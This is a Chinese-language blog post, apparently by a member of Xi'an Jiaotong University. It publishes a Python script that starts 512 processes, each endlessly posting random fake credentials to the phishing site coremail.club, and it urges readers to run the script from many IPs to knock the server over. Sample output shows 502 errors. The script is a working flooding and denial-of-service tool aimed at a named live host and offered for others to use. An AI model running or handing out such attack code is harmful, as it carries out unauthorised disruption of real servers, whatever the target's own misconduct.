鉴于有无耻下流的攻击者 coremail.club 窃取我校师生邮箱系统的用户名和密码,我写了个脚本,用来瘫痪 coremail.club 的服务器。要想效果好,需要很多人用不同的 IP 运行,对于黑客没有什么道义可讲的,让我们来给攻击者一点小小的胶带震撼 。
等有空了我来再写篇 coremail.club 邮件事件之分析。
这次我很快就把坑填上了:
这个脚本开了 512 个进程向 coremail.club 的“更新”表单发随机生成的用户名和密码。即使不能让攻击者的服务器瘫痪,也可以让它变慢。
import multiprocessing as mp
import random
import secrets
from time import sleep
import requests
NUM_CONCURRENT_JOBS = 512
def post():
while True:
name = secrets.token_urlsafe(random.randrange(4, 14))
password = secrets.token_urlsafe(random.randrange(6, 18))
try:
if (rand := random.random()) < 0.7:
prefix = 'stu.'
elif rand < 0.85:
prefix = ''
else:
prefix = 'mail.'
ret = requests.post("https://coremail.club/post.php", data={'mail': f'{name}@{prefix}xjtu.edu.cn', 'pass': password})
print(ret.status_code)
print(ret.text)
sleep(random.randrange(1, 3))
except Exception:
pass
procs = []
for i in range(NUM_CONCURRENT_JOBS):
p = mp.Process(target=post)
p.start()
procs.append(p)
for p in procs:
p.join()
运行后会输出一大堆服务器返回的错误信息
......
200
{"code":0,"msg":"您今天已经超过可登录次数,请明天再试!"}
502
<html>
<head><title>502 Bad Gateway</title></head>
<body>
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx</center>
</body>
</html>
......